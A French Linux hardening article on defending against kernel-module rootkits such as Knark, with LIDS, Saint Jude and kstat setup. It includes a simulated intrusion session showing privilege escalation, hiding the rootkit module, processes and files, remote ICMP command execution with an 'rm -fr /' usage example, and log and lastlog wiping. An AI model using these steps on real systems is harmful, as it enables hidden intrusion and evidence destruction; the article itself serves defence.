Linux et la sécurité : Retirer les failles et se proteger des outils des pirates :

La sécurité sous linux est une bien large affaire. Dans cette article nous allons voir comment se proteger de ses simple-utilisateur ainsi que des hackers, et comment parer leur outils en cas de compromission au level root. Nous aborderons une notion fondamentale et pourtant peu connu de la sécurité sous linux, qui est l'utilisation de modules. Nous allons voir comment un simple-utilisateur pourrait prendre le contrôle total de votre machine, en passant root puis en implémentant les nouvelles rootkit dont l'on entend beaucoup parler en ce moment comme Adore ou Knark. J'expliquerai comment à notre tour tirer profit de la puissance des modules en implémentant des techniques qui rendront vaine toutes tentatives de rootkitage du système.

     [-  Note -]
    Une rootkit est un outils dont disposent les pirates pour se cacher au sein de votre système une fois
    compromis et pouvoir effectuer les actions qu'ils veulent de manière discrète. La rootkit contient 
    souvent une backdoor ( porte arrière pour revenir sur le système permettant aux intrus de revenir).
    Actuellement il existe deux types de rootkit :
    "l'ancienne génération ", qui remplace des binaires du systèmes pour cacher l'activité de votre pirate.
    Elles modifient généralement ps, ls, netstat, du , find, etc. par des binaires reprogrammes qui 
    n'affichent pas certains fichiers, certain processus ou certaine connexion. Puis il y a les rootkits de 
    la nouvelles génération. Ce sont des modules destiner à être charger par le kernel linux. La 
    puissance des modules lorsqu'elle est au profit des pirate aboutit a des désastres pour les 
    administrateurs : alors qu'ils ne se passent absolument rien d'anormal sur leur système (à première 
    vue), celui ci est sous le contrôle total d'intrus.

Linux est  une plate-forme ou il est possible d'atteindre un très haut niveau de sécurité facilement, simplement en configurant sa machine correctement. Il n'y a pas beaucoup de types de failles sous linux, mais celle ci se retrouvent dans un très grand nombre d'applications. Si l'une d'elle est lancée avec un uid 0, alors il est  possible pour un intrus de pénétrer votre système en détournant ce programme de sa fonction originale et en lui faisant passer des commandes. Elles sont dû a des négligences de la part des programmeurs, qui ont utiliser des fonctions connues comme créant des vulnérabilités. Nous avons déjà vu quelles sont ces failles dans la série d'article "Éviter les failles de sécurité dès le développement d'une application" de Frederic Raynal, Christian Blaess et Christophe Grenier. Il s'agit généralement de problèmes liés au fait que certaines fonctions vont permettrent aux utilisateurs d'écrire en mémoire, ou même d'y lire. Ainsi un pirate peut réécrire en mémoire des commandes à passer et les faire exécuter par ce  programmes, profitant de ses droits/privilèges. Il vous est possible d'éliminer les risques de compromissions dû aux buffer overflow (qui permettent d'écrire en mémoire au-delà des limites du buffer alloué pour  la saisie de donnée provenant de l'utilisateur) ou aux bugs de format en installant un patch empêchant d'exécuter du code dans la pile (c'est la que les pirates insèrent le code à exécuter lors de l'exploitation). Parmi les outils les plus utilisés pour prévenir ce genre d'attaque on trouve LibSafe qui un wrapper software qui intercepte les appels de fonctions connus pour être vulnérables aux librairies standards puis y substitue une version correspondante qui va vérifier qu'aucun buffer overflow ne se cache dans la pile et donc empêcher toute tentative d'écriture ou de détournement d'un programme. Il existe agelement des patchs tels que StackGuard qui va protéger l'adresse de retour de pile ou FormatGuard qui va vérifier si le nombre d'argument passé à une fonction printf() correspond aux directives %, ces 2 projets étant intégrés au projet Immunix.

Afin de se protéger, il faut savoir comment les pirates vont procéder. La quasi-totalité des pirates vont se contenter d'aller chercher les exploits (programmes permettant l'exploitation des failles) et de les lancer à l'attaque de vos machines. Si vous possédez une machine inutilisée, je vous conseille de faire de même par exemple pour vous renseigner sur le comportement et la culture de l'intrus ou si vous avez de meilleures compétences pour développer une signature pour un IDS (Intrusion Detection System) tel que Snort ou encore un test d'attaque pour le scanner de vulnérabilité Nessus. Allez sur hack.co.za ou sur darknet.hack.be et aller regarder dans la liste d'exploit correspondant à votre os. Vous détenez maintenant les mêmes armes que vos ennemis. Les exploits se classent en 2 partie : les exploits en remote et ceux en local.

[- Retirer les failles -]

Ceux en local exploitent des failles contenues dans des binaires suid root sur votre système, il vous suffit de changer la permission avec : chmod -s binaire
Pour les exploits en remote, la meilleure chose est de désactiver le service (éditez /etc/inetd.conf , mettez le service vulnérable en commentaire par un # devant et relancez inetd par un kill -HUP, ou bien killez le processus vulnérable et retirez le de /etc/rc.d/rcX.d/ ou X est le runlevel dans lequel vous démarrez). Il vous suffit de venir voir de temps à autre si il n'existe pas une nouvel exploit contre votre os. Après avoir fait cela pour chacune des failles, vos risques d'intrusion sont de 95% réduit ou du moins allié à une configuration firewall minimale votre système est il a l'abri des simples script kiddies. Bien souvent il existe des faille au sein même des processus lancés par default au démarrage, c'est par ce biais que le vers ramen se propagea sur les machine linux Red Hat 6.2 et 7.0 en exploitant une faille dans le daemon lpd, ainsi que dans le daemon ftp. Si il ne vous est pas possible de retirer le service vulnérable, tentez de l'updater. Je vous conseille d'installer l'un des patchs de de protéction de pile cités plus haut. Ce type de  patch vont extrêmement compliquer l'exploitation de buffer overflow en empêchant le code destinée à ouvrir un shell de s'exécuter. De nombreux patch kernel existe qui
s'occupe de patcher ces failles. La modification de sys_symlink ou plus directement du kernel peut également être une bonne chose - si vous en avez les compétences, que vous savez ce que vous faites - pour empêcher les utilisateurs de faire des liens vers des fichiers dont il n'ont pas les droits. Ces patchs proposent une foule d'actions intéressante, généralement destiner à rendre ardue une intrusion dans le système au level root et surtout à protéger certains fichiers ou processus même de son propre admin. Nous verrons plus loin comment installer un de ces patch (LIDS) qui implémente la protection et/ou la dissimulation de fichiers et processus ainsi que d'autres petites choses utiles comme un contrôle d'accès (ACL) ou la détection de port scan puis nous jugerons de son efficacité.

Maintenant, nous allons voir que fera un pirate sur votre système, les outils dont il dispose et comment le repérer. Je vais donc maintenant simuler ce que ferait un pirate et nous allons ensuite voir comment parer une à une ses méthodes.
Ici je simule un "rootage" en local , mais la manière n'a pas d'importance. Je vais installer une rootkit sur le système et présenter quelques une des actions qu'il est possible de réaliser.

[- Simulation d'une intrusion -]

[sauron@localhost sauron]$ ./epcs2
bug exploited successfully.
enjoy!
sh-2.04# whoami
root
sh-2.04# ls -F
knark-0.59/  knark-0.59.tar.gzcleanlog.sh*
sh-2.04# cd knark-0.59
sh-2.04# make                                    # installation de la rootkit knark.
(...)
sh-2.04# ls
Makefile  README  ered* hidef*  knark.o modhide.o  nethide*  rexec*rootme*src/
sh-2.04# PATH=$PATH:/sbin:/usr/sbin
sh-2.04# insmod knark.o && insmod modhide.o 2&>1 # Ici je charge le module de la rootkit et je le cache grace a un seconde module.
sh-2.04# lsmod                                   # On s'apercoit ici que la commande lsmod ne laisse pas apparaitre le
Module                  Size  Used by            # module pourtant charger.
bsd_comp                4080      0     (autoclean)
ppp                     20976     0     (autoclean) [ppp_deflate bsd_comp]
slhc                    4544      0     (autoclean) [ppp]
es1371                  24656     0
nls_cp437               3952      2     (autoclean)
ide-scsi                7664      0
sh-2.04# cat /proc/modules                  # Le module knark n'apparait pas non plus dans /proc/modules.
Module                  Size  Used by
bsd_comp                4080      0     (autoclean)
ppp                     20976     0     (autoclean) [ppp_deflate bsd_comp]
slhc                    4544      0     (autoclean) [ppp]
es1371                  24656     0
nls_cp437               3952      2     (autoclean)
ide-scsi                7664      0
sh-2.04# cat  > test-redirection.sh << EOF   # Le rootkit enbarque un outils qui permet de rediriger l'execution de programme.
> #!/bin/sh                                  # Ainsi sans modifier le binaire on peut faire executer un autre programme lorsque
> echo salut !                               # celui ci est appeler. Ici je vais le test avec /bin/ps que je redirige vers un script shell.
> EOF                                        # Les anciennes rootkit comme t0rn trojanisaient les binaires du systeme, c'est
sh-2.04# ./ered /bin/ps test-redirection.sh  # pourquoi des outils comme tripwire prennent des empreinte de ces binaires afin de les
sh-2.04# ps                                  # detecter lors de comparaison si ils sont detecter. Avec les rootkits par modules, ce types
salut !                                      # d'outils devient inutile. Cependant il peut etre bon de laisser tripwire dans votre cron.
sh-2.04# ./ered -c                           # Ici le message salut ! prouve que l'execution de ps a ete rediriger.
                                                # Heuresement avec ./ered -c on retire toutes les redirections en executions.
 ered.c by Creed @ #hack.se 1999 <creed@sekure.net>

Done. Redirect list is cleared.
sh-2.04# echo sleep 100 >> test-ps.sh         # Nous allons maintenant essayer de nos processus.
sh-2.04# sh test-ps.sh &
sh-2.04# ps
  PID TTY          TIME CMD
 2396 pts/0    00:00:00 bash
 2410 pts/0    00:00:00 su
 2499 pts/0    00:00:00 sh
 2540 pts/0    00:00:00 sh
 2541 pts/0    00:00:00 sleep                 # Notre programme apparait. Le pid 2541 lui a ete attribuer.
 2545 pts/0    00:00:00 ps
sh-2.04# kill -31 2541                        # A l'envoit d'un signal 31 le processus va devenir invisible grace au module.
sh-2.04# ps
  PID TTY          TIME CMD
 2396 pts/0    00:00:00 bash
 2410 pts/0    00:00:00 su
 2499 pts/0    00:00:00 sh
 2540 pts/0    00:00:00 sh
 2546 pts/0    00:00:00 ps                              # En effet il n'apparait plus.
sh-2.04# kill 2541
[1]+  Terminated              sh test-ps.sh
sh-2.04# ./rexec                                        # Une autre option effrayante est l'execution a distance via des host spoofez
                                                        # a travers les trames ICMP echo reply ( ping ) ! Cela permet d'executer des
 rexec.c by Creed @ #hack.se 1999 <creed@sekure.net>    # en root a distance sur votre systeme sans etre logez et en passant le firewall !!

Usage:
 ./rexec <src_addr> <dst_addr> <command> [args ...]
ex: ./rexec www.microsoft.com 192.168.1.77 /bin/rm -fr /
sh-2.04# ./rexec localhost localhost touch /tmp/Blah                        # Essayons de passer une commande...

 rexec.c by Creed @ #hack.se 1999 <creed@sekure.net>

Done. exec "touch /tmp/Blah" requested on localhost from localhost
sh-2.04# ls -lga /tmp | grep Blah                                           # Tres efficasses et surtout imparable !
-rw-r--r--    1 root     root            0 Jun  7 01:40 Blah
sh-2.04# pwd
/home/sauron/knark-0.59
sh-2.04# ./hidef `pwd`                           # hidef propose de cacher fichier et repertoire.
sh-2.04# cd ..
sh-2.04# ls
knark-0.59.tar.gz  cleanlog.sh*                 # En effet le repertoire n'apparait pas.
sh-2.04# rmmod knark
rmmod: module knark is not loaded                # Le module ne peut pas etre retirer !
sh-2.04# sh cleanlog.sh <hostname_domainam_ipHacker> 2&>1 &  # Pour achever le pirate enleve les traces de sa visite.
sh-2.04# sh .lastlogcleaner.sh -user sauron  &               # "who" n'affichera plus l'utilsateur sauron.
sh-2.04# vi /etc/syslog.conf
sh-2.04# kill -SIGHUP `cat /var/run/syslogd.pid`             # Le pirate ajuste le logging a son gout sans changer le pid de syslog !
sh-2.04# vi /root/.bash_history                              # l'exploration de votre systeme et de vos habitude peut commencer pour lui.

La démonstration est courte mais elle est parlante. Une fois le système compromis il est désormais possible à un pirate de cacher toute ses activités et de backdoorer votre système d'une manière très efficace. Puisqu'il peut passer des commandes sur votre système de manière non détectable, rien ne l'empeche de lancer un sshd -d -p 1337 afin d'ouvrir une session ssh pour une seule connexion. Il est probable que le système est été modifié pour ne plus loger ses activités :-/
Nous allons voir comment mettre la puissance des modules kernel de notre côté et comment parer ce type d'attaque. Le but étant de ne pas le laisser devenir root, et même si c'est le cas, ne pas le laisser activer une rootkit.

Le seul moyen de détecter ce pirate, serait de réduire à néant l'effet de knark, puis de lister les terminaux ouverts en regardant quelle uid est attribuée. Si un shell est lancé sous un nom d'utilisateur qui n'apparaît pas avec la commande who, alors cela signifie que lastlog a été nettoyé. Par ailleurs la présence d'un /bin/sh en root vous avertira !

Afin qu'aucun pirate ne fasse la même chose chez vous, il vous faut comprendre comment marche les rootkits modules. Les rootkits modules une fois chargés vont aller modifier la table des appels système et faire pointer certains syscall vers de nouvelles fonctions implémentées. Ces syscall sont par exemple sys_read pour empêcher de voir certaines chaînes de caractères dans un fichier (un utilisateur supplémentaire dans /etc/passwd par exemple), sys_getuid pour donner des droits root à un utilisateur qui ne l'est pas, etc. Vous aurez compris que l'on peut détourner ces fonctions directement liées au kernel, qui vont influer sur tous les binaires du système qui les appelleront, sans que l'on ait à les modifier. Cela permet donc de contourner tout les outils de sécurité qui se contentent de faire une empreinte du filesystem comme Tripwire ou AIDE.

[- Empêcher les outils des pirates de fonctionner -]

Afin d'éviter que des modules de rootkit soit efficace, j'ai programmé un module qui va créer un nouvel appel système. Celui ci lorsqu'on l'appelle remet la sys_call_table dans l'état ou il l'a trouver lorsqu'il a été chargée de la même manière qu'un système de fichiers journalisé le ferait pour des données ;). En l'insérant a un moment ou le système est sain, vous vous assurez une parade efficace contre les rootkit comme knark, adore, etc. Si en plus vous ajoutez le programme appelant le syscall dans vos scripts cron, alors vous n'avez plus redouter les rootkits ou du moins les détournements de syscall.
Un pirate pourrait parer cette protection de 2 manière : en rechargeant un module qui modifierai le syscall ajouté (ce qui nécessiterai que votre pirate maîtrise la programmation de modules kernel, vous n'avez donc pas affaire à un débutant), c'est pour cela que je vous conseille de choisir un numéro à la compilation. Le pirate pourrait, après avoir recharger un module, modifier en exécution le programme qui est dans vos scripts cron et qui appelle mon module. Je pense que la meilleur méthode pour empêcher un pirate de charger son module est de rediriger l'exécution de /sbin/insmod vers un binaire qui sera identique mais qui fera appel à mon module immédiatement après. De cette manière, à chaque fois qu'un module est chargé, la sys_call_table sera remise en état au cas où il s'agirait d'un module backdoor. Votre pirate aura beau compiler et insérer son module rien ne se passera.

Les rootkit des pirates trimballent avec elles quelques outils tout à fait intéressants. Je pense par exemple à la redirection en exécution de fichier. Cela peut offrir une bonne parade à des rootkit comme t0rn qui se contente de modifier les binaires systèmes par  des binaires backdoorisées. Voila ce que je propose : créer un répertoire et y placer une copie des binaires que des rootkit sont susceptibles de modifier (ls, ps, du, netstat, find, etc.). Maintenant rediriger /bin/ps sur /root/backup/ps, /bin/ls sur /root/backup/ls et ainsi de suite pour tout les binaires que vous avez choisis de sauvegarder. En faisant ca, les rootkit comme t0rn qui remplaceront vos binaires n'auront aucun effet puisqu'en réalité ils ne seront jamais exécuter. Le module pour la redirection de sortie est disponible avec knark, il est nommer rexec.c. Knark ainsi qu'une large collection de backdoors et rootkits sont disponibles sur OUAH.

Vous pouvez aussi allez vous même volontairement modifier des syscall via un module. Cela peut être intéressant pour patcher sys_symlink, pour vérifier qu'aucun fichier root n'est en train d'être linker par un simple utilisateur, auquel cas il faut l'interdire. Cela aura pour effet de réduire à néant les chances d'exploiter une faille dûe à la création prévisible d'un fichier par un processus root :-) ( Pour l'exploiter il suffit à un simple utilisateur de linker un fichier root avec un fichier inexistant qui sera écrit par un processus root, pour profiter des droit root du processus qui écrira son fichier et écrasera celui vers lequel le lien a été créé. cela permet par exemple d'effacer la configuration de TCP Wrapper dans /etc/hosts.deny. Une chose qui est certaine, c'est que le pirate essayera d'effacer son IP des log. Pour ce faire, il utilisera un programme qui s'occupera de la rechercher et d'effacer les lignes citant son IP dans les fichiers /var/log. Bien souvent, modifier la configuration de syslogd dans /etc/syslogd.conf suffit à empêcher votre pirate d'effacer ses logs. Je pense que un loger supplémentaire en plus de syslogd n'est pas de trop. Cachez celui-ci par un module ou bien donnez lui un nom anodin (i.e : lpd) pour ne pas que le pirate se mefie et cherche à retirer son IP de ces fichiers logs ci également. Il restera l'éventualité que le pirate recherche son IP sur l'ensemble du système mais il y perdrait en efficacité. Enfin, gardez le duo libpcap/tcpdump sous la main, et lancez le en cas de doute, il n'y a pas de meilleur loger :-)

Je pense qu'un firewall n'est pas de trop, ne serait-ce que pour empêcher n'importe qui de scanner votre réseau. Et si vous êtes paranoïaque, vous pouvez même installer scanlogd, une alternative à syslogd qui utilise les avantages de libpcap et libnids afin de détecter des scan furtifs puis de tout enregistrer. Dans un style similaire on trouve Port Sentry, partie intégrante du projet Abacus qui permet de repérer et de stopper toutes tentatives de scanning et ce de manière automatisée. Je vous conseille vivement d'opter pour OpenSSH si vous utilisez telnet. Pour des besoins plus personnalisés, je vous conseille d'utiliser Stunnel qui vous permet d'établir des connexions basée sur du tunneling SSL similaire à OpenSSL :-). Faite un man ipchains pour en savoir plus sur la mise en place d'un firewall ou si vous êtes en 2.4.* man netfilter pour profiter des dernières progrès en firewall comme le statefull. Tout ceci représente un temps d'administration et de configuration relativement important mais ce sera autant de données ou de machines non compromises ou de procédures judiciaires ou techniques en moins dans l'avenir.

Le choix du supports des logs est très important. Si vous loggez tout dans /var/log comme configurer par default, vous pouvez être certain qu'un utilisateur une fois root corrompra ces logs. Pour vous assurer que vos logs contiennent bien toutes les activité qu'il se doit d'enregistrer, je vous conseille de tout enregistrer sur une machine distante. Seul le processus actif aura permission d'accès en écriture et uniquement lui, pas même le root. Votre pirate ne pourra ainsi pas effacer totalement ses traces des logs, et cela le dissuadera d'entreprendre toute action néfaste à votre encontre. Vous pouvez également les faire imprimer cependant attention à la quantité énorme de log qui est chaque jour enregistrée par une machine de production ou pire un serveur. Si vous voulez gagner de la place dans vos logs, je vous conseille d'associer ipchains à un détecteur de scan.
/sbin/ipchains -I input -s <IpPirates> -j DENY -l vous permettra d'empêcher le pirate de mener à bout son attaque après vous avoir scanné (également applicable avec l'utilisation de Port Sentry cité plus haut).

[- Ne pas donner d'information à l'attaquant -]

Les modules peuvent nous rendre bien des services dans le domaine de la sécurité, par exemple il existe des modules qui vont modifier le comportement de votre pile TCP/IP et qui vont ainsi vous protéger du TCP fingerprinting (détection distante de l'OS par prise d'empreinte en fonction du comportement de la pile tcp/ip - c'est  l'option -O du fameux nmap). Votre machine passerait donc par exemple pour une machine Windows au yeux de nmap. Attention cependant aux modifications qui peuvent entraîner de nouvelles vulnérabilités notamment sur les numéros de séquence et leur générations. Actuellement les backdoors distribuées avec les nouvelles rootkits sont des modules permettant des commandes distantes de manière discrète (utilisation de covert channel), mais il est courant que des pirates "bind" un shell sur un port, c'est-à-dire redirige les flux d'entrée/sortie d'un shell sur un port ouvert pour l'occasion. Dans ce cas n'importe qui se connectant sur ce port peut se retrouver avec un shell root sur votre machine. Un simple ps -aux avec un port scanning de votre réseau vous fixera. Je vous conseille également de modifier /etc/issue, /etc/issue.net et les messages d'invite des services que vous utilisez en général.

[- Quelques mots sur Saint Jude et LIDS -]

Dans cette section, je vais principalement parler de 2 choses : le patch kernel LIDS et ses fonctionnalités et le module/patch Saint Jude.
Les 2 associés peuvent fournir  une méthode efficace pour vous protéger des intrusions. Saint Jude est un module linux qui va empêcher toute tentative de rootage. Saint Jude ne fait pas appel à une banque de donnée de signatures d'intrusion et est donc en mesure de détecter toute tentative de compromission de votre système sans qu'il soit nécessaire de mettre quoi que ce soit à jour. Les tentatives de rootage, que ce soit en local ou en remote seront détectée. Saint Jude va en pratique aller modifier les syscall de la même manière que procéderait un module backdoor mais pour sécuriser le kernel cette fois. Voici la liste des syscall qu'il modifie :
- sys_clone
- sys_execve
- sys_exit
- sys_fork
- sys_setreuid
- sys_setuid
Saint Jude inclut également un module de redirection d'exécution comme décrit plus haut :)
Il offre quelques fonctionnalités bien sympathiques comme le fait de pouvoir afficher un message au pirate qui tenterai de compromettre votre système ( "stop to hack my system - the sysadmin " par default ;). Je ne vais pas m'étendre sur Saint Jude mais il est particulièrement efficace et je le recommande à tout administrateur. 

LIDS quand à lui permet de protéger des fichiers ou des processus de votre système même du root qui normalement a un accès total au système. En associant LIDS pour qu'il protége le module de Saint Jude, vous vous assurez une efficace protection. Le code source de Saint Jude est particulièrement intéressant si les modules kernel Linux vous intéressent, de plus il fonctionne sur quasiment tout
les noyaux linux actuellement disponibles.N'ouibliez pas d'installer le patch fourni avec Saint Jude (il modifie uniquement /usr/src/linux/kernel/ksyms.c) cela vous évitera de recompiler par 2 fois votre noyau (car LIDS nécessite également la recompilation du kernel).

LIDS est un système de détection d'intrusion et de prévention qui réside directement dans le kernel linux. LIDS va prévenir toute modification des fichiers se trouvant dans sa configuration et qualifiés comme "sensibles" et autoriser les accès uniquement en lecture. LIDS inclue d'autre protections outre celle des fichiers, comme par exemple la protection contre les accès directs en mémoire ou contre les accès raw disk. LIDS va aussi empêcher l'installation d'un sniffer ou encore la modification des règles du firewall. Il propose de générer un password crypté avec RipeMD-160 et qui sera ensuite installer dans le kernel. L'installation de LIDS est extrêmement simple et ce fait sans aucun problème :
./lidsad -P va d'abord vous permettre de générer un password. Puis il vous faut compiler le fichier de configuration standard pour votre architecture dans /usr/src/linux. Le patch s'installe comme suit :

            cd /usr/src
            patch -p0 </root/IDS/lids-0.9/lids-0.9-2.2.14-redhat.patch

LIDS contient pas mal de driver updatés, à en juger par la quantité de sources du kernel qu'il va modifier :) Finalement, j'ai configuré, compilé et installé le kernel :

            cd /usr/src/linux
            make menuconfig
            make dep; make clean
            make
            install; make modules; make modules_install

Voila le menu que LIDS a ajouté et que vous verrez désormais dans la configuration du kernel :

            [*] Linux Intrusion Detection System support (EXPERIMENTAL)
            --- LIDS features
            [ ] Hang up console when raising a securit alert
            [*] Security alert when execing unprotected programs before sealing
            [ ] Do not execute unprotected programs before sealing LIDS
            [*] Enable init children lock feature
            [*] Try not to flood logs
            (60) Authorised time between two identic logs (seconds)
            [*] Allow switching LIDS protections
            RipeMD-160 encrypted password: d502d92bfead11d1ef17887c9db07a78108859e8
            (3) Number of attempts to submit password
            (3) Time to wait after a fail (seconds)
            [*] Allow remote users to switch LIDS protections
            [ ] Allow any program to switch LIDS protections
            [*] Allow reloading config. file
            [ ] Hide some known processes
            [*] Port Scanner Detector in kernel
            [ ] Send security alerts through network
            --- Special authorizations
            [ ] Allow some known processes to access /dev/mem (xfree, etc.)
            [ ] Allow some known processes to access raw disk devices
            [ ] Allow some known processes to access io ports
            [ ] Allow some known processes to change routes
            --- Special UPS
            [*] Allow some known processes to unmount devices
            Allowed processes: "/etc/rc.d/init.d/halt;/etc/rc.d/init.d/netfs"
            [*] Unmounting capability is inherited
            [*] Allow some known processes to kill init children
            Allowed processes: "/etc/rc.d/init.d/halt"
            [*] Killing capability is inherited

Avec un make menuconfig, ou make xconfig tout est plus clair :) Regardez les options et activez celle qui vous intéresse. Vous n'avez plus qu'a updater le kernel (/etc/lilo.conf puis rebootez). Voila votre kernel est désormais patché !

Attention ! : Après avoir installé LIDS, vous devez le configurer avant le prochain rebootage ! LIDS stocke sa configuration dans /etc/lids.conf. Ce fichier ne devant jamais être édité pour des raisons évidentes, vous devez utilisez le programme
lidsadm. ./lidsadm -h vous renseignera sur les option de LIDS. Il m' a été nécessaire de modifier un tout petit peu la source de lidsadm.c pour le compiler :

[root@localhost lidsadm-0.9]# make
gcc -static -O2  -o lidsadm lidsadm.o rmd160.o sig_rmd160.o read_pw.o
lidsadm.o: In function `lids_update':
lidsadm.o(.text+0xd25): undefined reference to `MINOR'
lidsadm.o(.text+0xd35): undefined reference to `MAJOR'
lidsadm.o(.text+0xd4f): undefined reference to `MINOR'
lidsadm.o(.text+0xd62): undefined reference to `MAJOR'
[root@localhost lidsadm-0.9]# vi lidsadm.c
[root@localhost lidsadm-0.9]# make
gcc -O2   -c -o lidsadm.o lidsadm.c
gcc -static -O2  -o lidsadm lidsadm.o rmd160.o sig_rmd160.o read_pw.o
[root@localhost lidsadm-0.9]#

Voici un exemple :

lidsadm -A -r /sbin            # Désormais le répertoire /Sbin est protégé en écriture :)

Je vous recommande de protéger vos pages d'accueil - si vous stockez des pages web bien sûr - de la même manière, et pourquoi pas vos binaires système :

            lidsadm -Z
            lidsadm -A -r /usr/bin
            lidsadm -A -r /bin
            lidsadm -A -r /usr/sbin
            lidsadm -A -r /sbin
            lidsadm -A -r /usr/X11R6/bin
            lidsadm -A -r /etc/rc.d                # Important pour ne pas activer de backdoor au demarrage !
            lidsadm -A -r /etc/sysconfig
            lidsadm -A -r /lib/modules/"kernel_version" # pour ne pas activer de module rootkit au demarrage
                                                        # Mais pensez a y placer le mien avant d'appeler lidsadm !

Voila la commande pour activer LIDS dans le kernel. Vous pouvez ajouter des options et je vous recommende fortement de le faire pour atteindre un niveau de sécurité optimale. Vous ne devriez pas le lancer simplement dans rc.local comme il est conseillé avec LIDS.

       /sbin/lidsadm -I -- -CAP_SYS_MODULE -CAP_SYS_RAWIO -CAP_SYS_ADMIN \
                           -CAP_SYS_PTRACE -CAP_NET_ADMIN -CAP_LINUX_IMMUTABLE \
                           +INIT_CHILDREN_LOCK

Et voila ! Je vous laisse paramètrer LIDS comme bon vous semble ! Maintenant voyons si il est réellement efficace :

[- Récapitulons les principales démarches à suivre pour ne pas craindre les pirates -]

1- Identifiez et désactivez les services vulnérables, et retirez les droits root en exécution aux binaires du système dont vous savez qu'elles sont vulnérables (attention la glibc comporte également des failles et il peut être nécessaire de l'updater). Ne laissez tourner sur votre machine QUE les services dont vous avez besoin et ceux là correctement patchés.
2- Insérez mon module en mémoire et mettez le programme qui y fait appelle dans vos scripts cron (ou pensez à le lancer de temps à autres).
3- Faites une copie de vos binaires système susceptibles d'être modifiés, et redirigez l'exécution des originaux vers l'endroit ou vous stockerez ceux-ci.
4- Changer le répertoire et fichier de log de syslogd dans /etc/syslogd.conf
5- Faites effectuer à cron une vérification à la recherche de nouveau fichier root dans le répertoire /home de vos utilisateurs simples.
6- Optionnellement, installez un détecteur de scanner ou encore un sniffer comme alternative ou complément à syslogd.
7- Optionnellement, installez un Network IDS (Intrusion detection System) comme Snort ne peut pas faire de mal. Et à l'avenir gardez un oeil sur Trithème ;)
8- Ajoutez un script à cron qui s'occupera de la fastidieuse analyse des fichiers de log à votre place pour y détecter des empreintes typique d'intrusion (certain scan peuvent aussi être détecter grâce à syslog, mais ce n'est pas le cas de tout les scans furtifs). Ce type d'outils est téléchargeable un peu partout (jetez un oeil sur LogReport).
9- Pourquoi ne pas remplacer votre telnet par un sshd ou votre http par un https ? Ces protocoles sont connus et supportés très largement et il  vous protège de bien des attaques. Si un sniffer est installé sur votre réseau, seul un hacker expérimenté pourra continuer à sniffer les connexions crypter via ssh par des attaques man-in-the-middle par exemple. Et pour le service https, celui ci est vital si vous utilisez des CGI sur un serveur web. Il limitera la possibilité de faire des scans de CGI (des outils plus évolués existent cependant mais sont peu diffusés).
10- Vérifiez que les processus avec lesquels des pirates potentiels peuvent interagir ne tournent pas en root ! Si c'est le cas et que ce n'est pas une nécessité passez le en nobody.
11- Ne pas laissez filtrer d'information sur votre machine est important. Modifiez /etc/issue et /etc/issue.net ainsi que les messages d'invite des services réseaux que vous fournissez. Et veillez à ne pas laisser de service tels que finger ou rpcinfo et leurs acolytes à la disposition de tous.
12- Installez un patch de sécurité kernel comme LIDS, recompilez le kernel et rebootez. Puis configurez LIDS pour protéger vos fichiers sensibles et/ou vos outils de sécurité afin de s'assurer de leur efficacité et de leur intégrité:)

En respectant ces 12 commandements, vous vous mettez à l'abri d'office de nombreuses attaques. Les pirates ou crashers étant des prédateurs préférant les cibles faciles afin de l'utiliser comme passerelle ou shell.

Pensez à tapez la commande lastlog de temps à autres, si un utilisateur apparaît  ne s'être jamais logé alors que ce n'est pas le cas, c'est la preuve que votre système et probablement le compte incriminé sont compromis car la plupart des lastlog-cleaner effacent toute les entrées, ou juste l'entrée utilisateur. Rares sont ceux qui vont simplement modifier les données, ce qui serait pourtant plus discret.
Si vous avez à administrer un réseau, je vous conseille de le scannez à la recherche de sniffer (par détection du bit PROMISC) par exemple grâce à AntiSniff bien qu'il existe là encore des contres comme Obscura de S0ftpj. Scannez le également avec nmap, pour 2 raisons : il est important de savoir qu'elle information un hacker tirera de votre système grâce à des outils très répandus comme nmap, et afin de détecter si vous n'auriez pas déjà été compromis et qu'une backdoor n'est pas active sur un port !
De plus faites un scan de votre réseau avec Nessus, afin de vous rendre compte de la vulnérabilité de vos machines et de les patcher au plus vite. Si il s'agit d'une faille de type buffer overflow et que le patch LIDS est installé il n'est toutefois pas nécessaire de stopper le service vulnérable.

[- Comment détecter que vous avez été rooté et qu'une rootkit de nouvelle génération est présente -]

Une petite astuce afin de vérifier que vos utilisateurs simples ne s'amusent pas à vous rooter, est de faire un find -user root /home et vérifier que de nouveaux fichiers root ne sont pas apparus d'une fois sur l'autre. Si c'est le cas et que vous arrivez à trouver un fichier de l'intrus, faites une nouvelle recherche avec find en précisant le timestamp du fichier trouvé. Si votre pirate n'a pas utilisé la commande touch pour changer le timestamp de chacun de ses fichiers, vous devriez vite retrouver les autres.
Supposons que rien n'est visible par lsmod et que l'attaquant est en mesure de se cacher totalement... mais rassurez vous, nous avons aussi de bons outils. En utilisant kstat, programmé par FuSyS de S0ftpj, une security team italienne, nous sommes en mesure de voir  les modules chargé et dissimulés. En effet kstat va chercher ses informations sans passer par les syscall mais par /dev/kmem. Ainsi la rootkit n'est plus efficace. Sachez qu'il est possible de patcher /dev/kmem, méthode inventer par Silvio Cesare et dont nous ne traiteront pas ici. (les rootkit actuelles ne l'implémentent pas et vous ne devriez pas rencontrer de problème de ce type avant la prochaine génération de lkm). kstat propose nombre de fonctionnalités intéressantes comme la liste des processus actif, la liste des syscall et l'adresse à laquelle ils sont (ou devraient être), etc.
voyons :

sh-2.04# ./kstat

Usage: ./kstat [-i iff] [-P] [-p pid] [-M] [-m addr] [-s]

-i iff may be specified as 'all' or as name (e.g. eth0)
 displays info about the queried interface

-P displays all processes

-p pid is the process id of the queried task

-M displays the kernel's LKMs' linked list

-m addr is the hex address of the queried module
 displays info about the module to be found at addr

-s displays info about the system calls' table

sh-2.04# ./kstat -s | grep WARNING
sys_fork                        0xc4d65578 WARNING! Should be at 0xc0108fb0
sys_read                        0xc4d65874 WARNING! Should be at 0xc0126bc4       # Permet de cacher des portions de fichiers
sys_execve                      0xc4d65c08 WARNING! Should be at 0xc010901c       # Redirection d'execution
sys_kill                        0xc4d65640 WARNING! Should be at 0xc0111068       # Permet d'ajouter un flag dans la task structure
sys_ioctl                       0xc4d656bc WARNING! Should be at 0xc0130c60       # pour cacher les processus. sys_ioctl permet lui de
sys_settimeofday                0xc4d65ac4 WARNING! Should be at 0xc0118e88       # cacher fichiers et repertoire.
sys_clone                       0xc4d655dc WARNING! Should be at 0xc0108fd0
sys_getdents                    0xc4d65454 WARNING! Should be at 0xc0130f98       # sert a cacher le module.

Voila les 8 syscall que modifie la rootkit knark.
